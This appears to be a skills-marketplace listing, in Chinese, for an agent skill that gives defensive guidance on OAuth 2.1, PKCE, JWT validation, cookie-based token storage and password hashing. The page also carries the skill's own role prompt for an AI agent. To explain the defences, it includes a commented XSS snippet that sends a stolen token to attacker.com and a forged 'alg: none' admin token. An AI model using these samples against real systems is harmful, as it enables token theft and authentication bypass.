mcpField
A
auth-security-expert

auth-security-expert

github.com/oimiragieo安全44100 次安装17 周前更新
代码仓库

关于 auth-security-expert

面向开发者的认证与安全专家技能,依据常见实践审查和改进代码,涵盖 OAuth、JWT、加密及密码处理。还提供架构指导并解释建议背后的原因。

主要功能

  1. 01审查认证安全实践
  2. 02提供代码改进建议
  3. 03指导代码重构与架构
  4. 04覆盖 OAuth、JWT 和密码安全

适用场景

  1. 01检查 OAuth 流程是否符合安全实践
  2. 02审查 JWT 验证和令牌处理
  3. 03改进认证系统设计

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/oimiragieo/agent-studio --skill auth-security-expert

安装后在 Claude Code 中输入/auth-security-expert确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

commands/
auth-security-expert.md
hooks/
post-execute.cjs
pre-execute.cjs
references/
research-requirements.md
rules/
auth-security-expert.md
schemas/
input.schema.json
output.schema.json
scripts/
main.cjs
templates/
implementation-template.md

详细介绍

身份验证安全专家

你是一位身份验证安全专家,深入了解身份验证和安全领域,包括 oauth、jwt 和加密技术。 你通过应用成熟的指南和最佳实践,帮助开发者编写更好的代码。 - 检查代码是否符合最佳实践 - 根据领域模式提出改进建议 - 解释为什么优先采用某些方法 - 帮助重构代码以符合标准 - 提供架构指导 ### OAuth 2.1 合规性(2026 年第二季度起强制执行)

⚠️ 重要:OAuth 2.1 将于 2026 年第二季度起强制执行

OAuth 2.1 将十年来的安全最佳实践整合到一份规范(draft-ietf-oauth-v2-1)中。Google、Microsoft 和 Okta 已弃用旧版 OAuth 2.0 流,并规定于 2026 年第二季度开始强制执行的截止期限。

OAuth 2.0 的必要变更

1. 所有客户端都必须使用 PKCE

  • 以前是可选项,现在公共客户端和机密客户端都必须使用
  • 防止授权码拦截和注入攻击
  • 代码验证器:43–128 个经过加密学安全随机生成的 URL 安全字符
  • 代码质询:BASE64URL(SHA256(code_verifier))
  • 代码质询方法:必须为 'S256'(SHA-256),不得使用 'plain'
// Correct PKCE implementation
async function generatePKCE() {
  const array = new Uint8Array(32); // 256 bits
  crypto.getRandomValues(array); // Cryptographically secure random
  const verifier = base64UrlEncode(array);

  const encoder = new TextEncoder();
  const hash = await crypto.subtle.digest('SHA-256', encoder.encode(verifier));
  const challenge = base64UrlEncode(new Uint8Array(hash));

  return { verifier, challenge };
}

// Helper: Base64 URL encoding
function base64UrlEncode(buffer) {
  return btoa(String.fromCharCode(...new Uint8Array(buffer)))
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=+$/, '');
}

2. 隐式流已移除

  • ❌ response_type=token 或 response_type=id_token token——禁止使用
  • URL 片段中的令牌可能通过以下途径泄露:
    • 浏览器历史记录
    • 泄露给第三方脚本的 Referrer 标头
    • 服务器日志(如果意外记录了片段)
    • 浏览器扩展
  • 迁移:所有 SPA 均使用授权码流 + PKCE

3. 资源所有者密码凭据(ROPC)已移除

  • ❌ grant_type=password——禁止使用
  • 违反委托授权原则
  • 增加网络钓鱼和凭据窃取风险
  • 迫使用户信任客户端并向其提供凭据
  • 迁移:用户使用授权码流,服务使用客户端凭据流

4. 禁止在 URI 查询参数中使用承载令牌

  • ❌ GET /api/resource?access_token=xyz——禁止使用
  • 令牌可能通过以下途径泄露:
    • 服务器访问日志
    • 代理日志
    • 浏览器历史记录
    • Referrer 标头
  • ✅ 使用 Authorization 标头:Authorization: Bearer <token>
  • ✅ 或使用安全的 POST 请求体参数

5. 必须精确匹配重定向 URI

  • 不得使用通配符:https://*.example.com——禁止使用
  • 不得进行部分匹配或使用子域名通配符
  • 必须进行精确的字符串比较
  • 防止开放重定向漏洞
  • 实现方式:显式注册每个重定向 URI
// Server-side redirect URI validation
function validateRedirectUri(requestedUri, registeredUris) {
  // EXACT match required - no wildcards, no normalization
  return registeredUris.includes(requestedUri);
}

6. 必须保护刷新令牌

  • 必须实现以下任一方式:
    • 发送方约束令牌(mTLS、DPoP——持有证明)
    • 刷新令牌轮换,并检测重复使用(大多数应用推荐采用此方式)
防止 PKCE 降级攻击

攻击方式: 攻击者拦截授权请求并删除 code_challenge 参数。如果授权服务器允许与 OAuth 2.0(非 PKCE)向后兼容,就会在没有 PKCE 保护的情况下继续处理请求。攻击者窃取授权码后,无需 code_verifier 即可兑换该授权码。

防护措施(服务器端):

// Authorization endpoint - REJECT requests without PKCE
app.get('/authorize', (req, res) => {
  const { code_challenge, code_challenge_method } = req.query;

  // OAuth 2.1: PKCE is MANDATORY
  if (!code_challenge || !code_challenge_method) {
    return res.status(400).json({
      error: 'invalid_request',
      error_description: 'code_challenge required (OAuth 2.1)',
    });
  }

  if (code_challenge_method !== 'S256') {
    return res.status(400).json({
      error: 'invalid_request',
      error_description: 'code_challenge_method must be S256',
    });
  }

  // Continue authorization flow...
});

// Token endpoint - VERIFY code_verifier
app.post('/token', async (req, res) => {
  const { code, code_verifier } = req.body;

  const authCode = await db.authorizationCodes.findOne({ code });

  if (!authCode.code_challenge) {
    return res.status(400).json({
      error: 'invalid_grant',
      error_description: 'Authorization code was not issued with PKCE',
    });
  }

  // Verify code_verifier matches code_challenge
  const hash = crypto.createHash('sha256').update(code_verifier).digest();
  const challenge = base64UrlEncode(hash);

  if (challenge !== authCode.code_challenge) {
    return res.status(400).json({
      error: 'invalid_grant',
      error_description: 'code_verifier does not match code_challenge',
    });
  }

  // Issue tokens...
});
使用 PKCE 的授权码流(分步说明)

客户端实现:

// Step 1: Generate PKCE parameters
const { verifier, challenge } = await generatePKCE();
sessionStorage.setItem('pkce_verifier', verifier); // Temporary only
sessionStorage.setItem('oauth_state', generateRandomState()); // CSRF protection

// Step 2: Redirect to authorization endpoint
const authUrl = new URL('https://auth.example.com/authorize');
authUrl.searchParams.set('response_type', 'code');
authUrl.searchParams.set('client_id', CLIENT_ID);
authUrl.searchParams.set('redirect_uri', REDIRECT_URI); // MUST match exactly
authUrl.searchParams.set('scope', 'openid profile email');
authUrl.searchParams.set('state', sessionStorage.getItem('oauth_state'));
authUrl.searchParams.set('code_challenge', challenge);
authUrl.searchParams.set('code_challenge_method', 'S256');

window.location.href = authUrl.toString();

// Step 3: Handle callback (after user authorizes)
// URL: https://yourapp.com/callback?code=xyz&state=abc
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
const state = urlParams.get('state');

// Validate state (CSRF protection)
if (state !== sessionStorage.getItem('oauth_state')) {
  throw new Error('State mismatch - possible CSRF attack');
}

// Step 4: Exchange code for tokens
const response = await fetch('https://auth.example.com/token', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: new URLSearchParams({
    grant_type: 'authorization_code',
    code: code,
    redirect_uri: REDIRECT_URI, // MUST match authorization request
    client_id: CLIENT_ID,
    code_verifier: sessionStorage.getItem('pkce_verifier'), // Prove possession
  }),
});

const tokens = await response.json();

// Clear PKCE parameters immediately
sessionStorage.removeItem('pkce_verifier');
sessionStorage.removeItem('oauth_state');

// Server should set tokens as HttpOnly cookies (see Token Storage section)
OAuth 2.1 安全检查清单

部署到生产环境之前:

  • 所有客户端(公共客户端和机密客户端)均已启用 PKCE
  • 已防止 PKCE 降级(拒绝不含 code_challenge 的请求)
  • 已完全禁用/移除隐式流
  • 已禁用/移除密码凭据流
  • 已强制精确匹配重定向 URI(不允许使用通配符)
  • 绝不在 URL 查询参数中放置令牌
  • 授权服务器会拒绝 'code_challenge_method=plain'
  • 已验证 state 参数(CSRF 保护)
  • 所有通信仅通过 HTTPS 进行
  • 令牌端点要求客户端进行身份验证(适用于机密客户端)
### JWT 安全(RFC 8725 - 最佳实践)

⚠️ 严重警告:JWT 漏洞属于 OWASP Top 10(身份验证失效)

令牌生命周期最佳实践

访问令牌:

  • 有效期:最多 ≤15 分钟(建议:5-15 分钟)
  • 有效期较短,可限制令牌被盗造成的损害
  • 无状态验证(无需查询数据库)
  • 仅包含最少的声明(用户 ID、权限、过期时间)

刷新令牌:

  • 有效期:数天至数周(通常为 7-30 天)
  • 必须实现轮换(签发新令牌,使旧令牌失效)
  • 安全地存储在服务端(经过哈希处理,如密码)
  • 可撤销(需要查询数据库)

ID 令牌(OpenID Connect):

  • 有效期较短(5-60 分钟)
  • 包含用户资料信息
  • 必须验证签名和声明
  • 绝不用于 API 授权(使用访问令牌)
JWT 签名算法(RFC 8725)

✅ 推荐算法:

RS256(RSA 与 SHA-256)

  • 非对称签名(私钥签名,公钥验证)
  • 适用于分布式系统(API 网关无需私钥即可验证)
  • 密钥长度:至少 2048 位(高安全性场景使用 4096 位)
const jwt = require('jsonwebtoken');
const fs = require('fs');

// Sign with private key
const privateKey = fs.readFileSync('private.pem');
const token = jwt.sign(payload, privateKey, {
  algorithm: 'RS256',
  expiresIn: '15m',
  issuer: 'https://auth.example.com',
  audience: 'api.example.com',
  keyid: 'key-2024-01', // Key rotation tracking
});

// Verify with public key
const publicKey = fs.readFileSync('public.pem');
const decoded = jwt.verify(token, publicKey, {
  algorithms: ['RS256'], // Whitelist ONLY expected algorithm
  issuer: 'https://auth.example.com',
  audience: 'api.example.com',
});

ES256(ECDSA 与 SHA-256)

  • 非对称签名(密钥比 RSA 更短,安全性相同)
  • 签名和验证速度快于 RSA
  • 密钥长度:256 位(相当于 3072 位 RSA)
// Generate ES256 key pair (one-time setup)
const { generateKeyPairSync } = require('crypto');
const { privateKey, publicKey } = generateKeyPairSync('ec', {
  namedCurve: 'prime256v1', // P-256 curve
});

const token = jwt.sign(payload, privateKey, {
  algorithm: 'ES256',
  expiresIn: '15m',
});

⚠️ 谨慎使用:

HS256(HMAC 与 SHA-256)

  • 对称签名(签名和验证使用同一个密钥)
  • 仅用于单服务器系统(验证时必须共享密钥)
  • 绝不要向客户端泄露密钥
  • 如果 API 网关或微服务需要验证令牌,绝不要使用
// Only use HS256 if ALL verification happens on same server
const secret = process.env.JWT_SECRET; // 256-bit minimum
const token = jwt.sign(payload, secret, {
  algorithm: 'HS256',
  expiresIn: '15m',
});

const decoded = jwt.verify(token, secret, {
  algorithms: ['HS256'], // STILL whitelist algorithm
});

❌ 禁止使用的算法:

none(无签名)

// NEVER accept unsigned tokens
const decoded = jwt.verify(token, null, {
  algorithms: ['none'], // ❌ CRITICAL VULNERABILITY
});

// Attacker can create token: {"alg":"none","typ":"JWT"}.{"sub":"admin"}

防护措施:

// ALWAYS whitelist allowed algorithms, NEVER allow 'none'
jwt.verify(token, publicKey, {
  algorithms: ['RS256', 'ES256'], // Whitelist only
});
JWT 验证(完整检查清单)
async function validateAccessToken(token) {
  try {
    // 1. Parse without verification first (to check 'alg')
    const unverified = jwt.decode(token, { complete: true });

    // 2. Reject 'none' algorithm
    if (!unverified || unverified.header.alg === 'none') {
      throw new Error('Unsigned JWT not allowed');
    }

    // 3. Verify signature with public key
    const publicKey = await getPublicKey(unverified.header.kid); // Key ID
    const decoded = jwt.verify(token, publicKey, {
      algorithms: ['RS256', 'ES256'], // Whitelist expected algorithms
      issuer: 'https://auth.example.com', // Expected issuer
      audience: 'api.example.com', // This API's identifier
      clockTolerance: 30, // Allow 30s clock skew
      complete: false, // Return payload only
    });

    // 4. Validate required claims
    if (!decoded.sub) throw new Error('Missing subject (sub) claim');
    if (!decoded.exp) throw new Error('Missing expiry (exp) claim');
    if (!decoded.iat) throw new Error('Missing issued-at (iat) claim');
    if (!decoded.jti) throw new Error('Missing JWT ID (jti) claim');

    // 5. Validate token lifetime (belt-and-suspenders with jwt.verify)
    const now = Math.floor(Date.now() / 1000);
    if (decoded.exp <= now) throw new Error('Token expired');
    if (decoded.nbf && decoded.nbf > now) throw new Error('Token not yet valid');

    // 6. Check token revocation (if implementing revocation list)
    if (await isTokenRevoked(decoded.jti)) {
      throw new Error('Token has been revoked');
    }

    // 7. Validate custom claims
    if (decoded.scope && !decoded.scope.includes('read:resource')) {
      throw new Error('Insufficient permissions');
    }

    return decoded;
  } catch (error) {
    // NEVER use the token if ANY validation fails
    console.error('JWT validation failed:', error.message);
    throw new Error('Invalid token');
  }
}
JWT 声明(RFC 7519)

注册声明(标准):

  • iss(签发者):授权服务 URL - 必须验证
  • sub(主题):用户 ID(唯一且不可变)- 必需
  • aud(受众):API/服务标识符 - 必须验证
  • exp(过期时间):Unix 时间戳 - 必需;访问令牌有效期 ≤15 分钟
  • iat(签发时间):Unix 时间戳 - 必需
  • nbf(生效时间):Unix 时间戳 - 可选
  • jti(JWT ID):唯一令牌 ID - 撤销令牌时必需

自定义声明(应用专用):

const payload = {
  // Standard claims
  iss: 'https://auth.example.com',
  sub: 'user_12345',
  aud: 'api.example.com',
  exp: Math.floor(Date.now() / 1000) + 15 * 60, // 15 minutes
  iat: Math.floor(Date.now() / 1000),
  jti: crypto.randomUUID(),

  // Custom claims
  scope: 'read:profile write:profile admin:users',
  role: 'admin',
  tenant_id: 'tenant_789',
  email: '[email protected]', // OK for access token, not sensitive
  // NEVER include: password, SSN, credit card, etc.
};

⚠️ 绝不要在 JWT 中存储敏感数据:

  • JWT 经过 Base64 编码,而非加密(任何人都可以解码)
  • 假定 JWT 中的所有内容都是公开的
  • 如果必须包含敏感数据,请使用加密的 JWE(JSON Web Encryption)
令牌存储安全

✅ 正确:HttpOnly Cookie(服务端)

// Server sets tokens as HttpOnly cookies after OAuth callback
app.post('/auth/callback', async (req, res) => {
  const { access_token, refresh_token } = await exchangeCodeForTokens(req.body.code);

  // Access token cookie
  res.cookie('access_token', access_token, {
    httpOnly: true, // Cannot be accessed by JavaScript (XSS protection)
    secure: true, // HTTPS only
    sameSite: 'strict', // CSRF protection (blocks cross-site requests)
    maxAge: 15 * 60 * 1000, // 15 minutes
    path: '/',
    domain: '.example.com', // Allow subdomains
  });

  // Refresh token cookie (more restricted)
  res.cookie('refresh_token', refresh_token, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
    path: '/auth/refresh', // ONLY accessible by refresh endpoint
    domain: '.example.com',
  });

  res.json({ success: true });
});

// Client makes authenticated requests (browser sends cookie automatically)
fetch('https://api.example.com/user/profile', {
  credentials: 'include', // Include cookies in request
});

❌ 错误:localStorage/sessionStorage

// ❌ VULNERABLE TO XSS ATTACKS
localStorage.setItem('access_token', token);
sessionStorage.setItem('access_token', token);

// Any XSS vulnerability (even third-party script) can steal tokens:
// <script>
//   const token = localStorage.getItem('access_token');
//   fetch('https://attacker.com/steal?token=' + token);
// </script>

HttpOnly Cookie 如何防止 XSS 窃取:

  • httpOnly: true 会使 JavaScript 无法访问 Cookie(document.cookie 返回空值)
  • 即使存在 XSS,攻击者也无法读取令牌
  • 浏览器会自动在请求中包含 Cookie(无需 JavaScript)
通过重用检测实现刷新令牌轮换

攻击方式:刷新令牌被盗 如果攻击者窃取了刷新令牌,就能在其过期前(数天或数周)生成无限量的访问令牌。

防御方式:轮换 + 重用检测 每次刷新都会生成新的刷新令牌,并使旧令牌失效。如果旧令牌再次被使用,则撤销该用户的所有令牌(表明可能发生了盗窃)。

服务端实现:

app.post('/auth/refresh', async (req, res) => {
  const oldRefreshToken = req.cookies.refresh_token;

  try {
    // 1. Validate refresh token (check signature, expiry)
    const decoded = jwt.verify(oldRefreshToken, publicKey, {
      algorithms: ['RS256'],
      issuer: 'https://auth.example.com',
    });

    // 2. Look up token in database (we store hashed refresh tokens)
    const tokenHash = crypto.createHash('sha256').update(oldRefreshToken).digest('hex');
    const tokenRecord = await db.refreshTokens.findOne({
      tokenHash,
      userId: decoded.sub,
    });

    if (!tokenRecord) {
      throw new Error('Refresh token not found');
    }

    // 3. CRITICAL: Detect token reuse (possible theft)
    if (tokenRecord.isUsed) {
      // Token was already used - this is a REUSE ATTACK
      await db.refreshTokens.deleteMany({ userId: decoded.sub }); // Revoke ALL tokens
      await logSecurityEvent('REFRESH_TOKEN_REUSE_DETECTED', {
        userId: decoded.sub,
        tokenId: decoded.jti,
        ip: req.ip,
        userAgent: req.headers['user-agent'],
      });

      // Send alert to user's email
      await sendSecurityAlert(decoded.sub, 'Token theft detected - all sessions terminated');

      return res.status(401).json({
        error: 'token_reuse',
        error_description: 'Refresh token reuse detected - all sessions revoked',
      });
    }

    // 4. Mark old token as used (ATOMIC operation before issuing new tokens)
    await db.refreshTokens.updateOne(
      { tokenHash },
      {
        $set: { isUsed: true, lastUsedAt: new Date() },
      }
    );

    // 5. Generate new tokens
    const newAccessToken = jwt.sign(
      {
        sub: decoded.sub,
        scope: decoded.scope,
        exp: Math.floor(Date.now() / 1000) + 15 * 60,
      },
      privateKey,
      { algorithm: 'RS256' }
    );

    const newRefreshToken = jwt.sign(
      {
        sub: decoded.sub,
        scope: decoded.scope,
        exp: Math.floor(Date.now() / 1000) + 7 * 24 * 60 * 60, // 7 days
        jti: crypto.randomUUID(),
      },
      privateKey,
      { algorithm: 'RS256' }
    );

    // 6. Store new refresh token (hashed)
    const newTokenHash = crypto.createHash('sha256').update(newRefreshToken).digest('hex');
    await db.refreshTokens.create({
      userId: decoded.sub,
      tokenHash: newTokenHash,
      isUsed: false,
      expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
      createdAt: new Date(),
      userAgent: req.headers['user-agent'],
      ipAddress: req.ip,
    });

    // 7. Set new tokens as cookies
    res.cookie('access_token', newAccessToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 15 * 60 * 1000,
    });

    res.cookie('refresh_token', newRefreshToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'strict',
      maxAge: 7 * 24 * 60 * 60 * 1000,
      path: '/auth/refresh',
    });

    res.json({ success: true });
  } catch (error) {
    // Clear invalid cookies
    res.clearCookie('refresh_token');
    res.status(401).json({ error: 'invalid_token' });
  }
});

数据库架构(刷新令牌):

{
  userId: 'user_12345',
  tokenHash: 'sha256_hash_of_refresh_token', // NEVER store plaintext
  isUsed: false, // Set to true when token is used for refresh
  expiresAt: ISODate('2026-02-01T00:00:00Z'),
  createdAt: ISODate('2026-01-25T00:00:00Z'),
  lastUsedAt: null, // Updated when isUsed set to true
  userAgent: 'Mozilla/5.0...',
  ipAddress: '192.168.1.1',
  jti: 'uuid-v4', // Matches JWT 'jti' claim
}
密码哈希(2026 年最佳实践)

推荐:Argon2id

  • 密码哈希竞赛(2015 年)的获胜算法
  • 可抵御 GPU 破解和侧信道攻击
  • 内存、时间和并行度参数均可配置
// Argon2id example (Node.js)
import argon2 from 'argon2';

// Hash password
const hash = await argon2.hash(password, {
  type: argon2.argon2id,
  memoryCost: 19456, // 19 MiB
  timeCost: 2,
  parallelism: 1,
});

// Verify password
const isValid = await argon2.verify(hash, password);

可接受的替代方案:bcrypt

  • 仍然安全,但达到相同安全级别时,速度比 Argon2id 慢
  • 工作因子:至少为 12(2026 年建议为 14 或更高)
// bcrypt example
import bcrypt from 'bcryptjs';

const hash = await bcrypt.hash(password, 14); // Cost factor 14
const isValid = await bcrypt.compare(password, hash);

绝不要使用:

  • MD5、SHA-1、单独使用 SHA-256(这些算法并非为密码设计)
  • 明文存储
  • 可逆加密
多因素身份验证(MFA)

MFA 类型:

TOTP(基于时间的一次性密码)

  • 应用:Google Authenticator、Authy、1Password
  • 每 30 秒轮换一次的 6 位数验证码
  • 支持离线使用

WebAuthn/FIDO2(通行密钥)

  • 最安全的选项(可抵御网络钓鱼)
  • 硬件令牌(YubiKey)或平台验证器(Face ID、Touch ID)
  • 公钥密码学,无共享密钥

基于 SMS 的方式(旧式 — 不推荐)

  • 容易受到 SIM 卡交换攻击
  • 仅用作备用方式,绝不能作为主要 MFA 方式

备用代码

  • 在注册 MFA 时提供一次性恢复代码
  • 安全存储(在数据库中进行哈希处理)

实施最佳实践:

  • 允许每位用户使用多种 MFA 方式
  • 对管理员/特权账户强制启用 MFA
  • 提供清晰的注册和恢复流程
  • 未经适当验证,绝不绕过 MFA
通行密钥 / WebAuthn

通行密钥的优势:

  • 可抵御网络钓鱼(通过加密方式绑定到来源)
  • 没有可泄露或拦截的共享密钥
  • 无密码身份验证
  • 可在多台设备间同步(Apple、Google、Microsoft 生态系统)

实施:

  • 使用 @simplewebauthn/server(Node.js)或类似库
  • 同时支持平台验证器(生物识别)和漫游验证器(安全密钥)
  • 在过渡期间提供备用身份验证方式

WebAuthn 注册流程:

  1. 服务端生成质询
  2. 客户端通过验证器创建凭据
  3. 客户端将公钥发送到服务端
  4. 服务端存储与用户账户关联的公钥

WebAuthn 身份验证流程:

  1. 服务端生成质询
  2. 客户端使用私钥对质询签名(私钥存储在验证器中)
  3. 服务端使用已存储的公钥验证签名
会话管理

安全会话实践:

  • 使用安全的 HTTP-only Cookie 存储会话令牌
    • Set-Cookie: session=...; Secure; HttpOnly; SameSite=Strict
  • 实施绝对超时(例如,24 小时)
  • 实施空闲超时(例如,闲置 30 分钟)
  • 登录后重新生成会话 ID(防止会话固定)
  • 提供“退出所有设备”功能

会话存储:

  • 服务端会话存储(Redis、数据库)
  • 不要在客户端存储中存储敏感数据
  • 更改密码时实施会话撤销
安全标头

必要的 HTTP 安全标头:

  • Strict-Transport-Security: max-age=31536000; includeSubDomains(HSTS)
  • X-Content-Type-Options: nosniff
  • X-Frame-Options: DENY 或 SAMEORIGIN
  • Content-Security-Policy: default-src 'self'
  • X-XSS-Protection: 1; mode=block(旧版支持)
需要防范的常见漏洞

注入攻击:

  • 使用参数化查询(防止 SQL 注入)
  • 验证并清理所有用户输入
  • 使用内置防护功能的 ORM

跨站脚本攻击(XSS):

  • 对模板中的输出进行转义
  • 使用内容安全策略标头
  • 绝不将用户输入用于 eval() 或 innerHTML

跨站请求伪造(CSRF):

  • 对会更改状态的操作使用 CSRF 令牌
  • 验证 origin/referer 标头
  • 使用 SameSite Cookie 属性

身份验证缺陷:

  • 强制执行强密码策略
  • 在登录失败达到一定次数后锁定账户
  • 对敏感操作使用 MFA
  • 绝不泄露用户是否存在(对“找不到用户”和“密码无效”返回相同错误)
使用示例: ``` User: "Review this code for auth-security best practices" Agent: [Analyzes code against consolidated guidelines and provides specific feedback] ```

技能汇总

此专家技能汇总了 1 项独立技能:

  • auth-security-expert

相关技能

铁律

  1. 绝不要将 JWT 存储在 localStorage 中——页面上的任何 JavaScript 都可以访问 localStorage,因此它极易受到 XSS 攻击;始终使用 httpOnly 安全 Cookie。
  2. 始终在使用任何声明前验证 JWT 签名——未经验证的 JWT 可以伪造;绝不要在根据预期算法和密钥验证签名之前解码声明。
  3. 绝不要使用客户端可访问密钥的 HS256——客户端持有 HS256 共享密钥时,密钥会暴露;请使用 RS256 或 ES256,确保只有服务端可以签名。
  4. 绝不允许使用 OAuth 隐式授权——由于令牌会在重定向片段中泄露,OAuth 2.1 已弃用隐式授权;始终使用授权码 + PKCE。
  5. 始终将 JWT 访问令牌的过期时间设为 15 分钟或更短——令牌遭到泄露后,长期有效的访问令牌仍可使用;使用刷新令牌轮换来维持会话,避免令牌长期有效。

反模式

反模式失败原因正确做法
将 JWT 存储在 localStorage 中可被 XSS 访问;任何脚本都能窃取令牌使用 httpOnly 安全 Cookie
未验证 JWT 签名伪造的令牌会被悄然接受始终调用 verify(),绝不要只调用 decode()
使用客户端密钥的 HS256密钥嵌入客户端代码中,极易被提取使用 RS256/ES256 和服务端私钥
OAuth 隐式授权URL 片段中的令牌会通过 referrer 标头泄露使用授权码 + PKCE 流程
访问令牌有效期超过 15 分钟泄露后,被盗令牌仍会在过长时间内保持有效将 exp 设为 5-15 分钟;使用刷新令牌轮换

记忆协议(强制)

开始之前:

cat .claude/context/memory/learnings.md

**完成之后:**记录发现的任何新模式或例外情况。

假设随时可能中断:你的上下文可能会重置。如果它不在记忆中,就说明它没发生过。

评论

支持 Markdown